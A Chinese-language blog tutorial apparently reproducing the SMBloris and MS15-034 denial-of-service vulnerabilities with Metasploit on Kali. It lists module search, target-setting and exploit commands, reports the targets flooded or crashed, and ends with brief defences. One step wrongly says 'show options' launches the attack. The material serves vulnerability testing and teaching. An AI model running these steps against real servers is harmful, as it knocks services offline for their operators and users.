拒绝服务攻击（SMBloris 漏洞）
一、拒绝服务攻击漏洞复现
1.打开kali
2.打开命令终端
3.在进行 SMBloris拒绝服务攻击之前，要先设置攻击机的最大连接数。
4.我们利用Metasploit工具（简称：MSF）进行操作。（如果想下载和安装msf，可以看看我的另一篇文章）
5.使用 smb_loris 模块来攻击目标机机器
6.输入search dos/smb（指定查询dos/smb模块）
7.输入use 0或use 模块名称 （意思是进入功能模块）
8.输入set rhosts + 攻击对象ip（添加攻击对象IP）
9.输入show options （开始运行攻击）
10.我们查看被攻击的服务器CPU，受到大量的流量攻击，证明存在拒绝服务攻击（SMBloris 漏洞）。
二、MS15-034 HTTP 协议栈请求处理拒绝服务攻击
1.如果 Microsoft Windows7、Windows8、Windows Server2008
or Windows Server 2012 正在运行了存在 MS15-034 漏洞的 IIS
服务，那么可以利用这个漏洞导致目标服务器崩溃。
- 进入msf工具
3.输入search ms15_034 （查找ms15_034模块）
4.use 0或use 功能模块名称 （进入功能模块）
5.set rhosts + 受攻击服务器的IP地址（添加受攻击服务器的ip）
6.exploit (运行攻击)
7.服务器受到攻击蓝屏崩溃，证明存在ms15_034 拒绝服务攻击漏洞。
三、拒绝服务攻击的防御方法
-
限制基于协议的带宽。
-
只运行必要的通信。
-
经常更新系统和补丁。
-
封锁恶意IP地址。
-
加强系统服务人员的安全培训。
-
建立健全拒绝服务攻击的应急响应机制。
上一篇：
5款热门的远程控制软件，让你事半功倍
下一篇：
软件设计质量（一）容错设计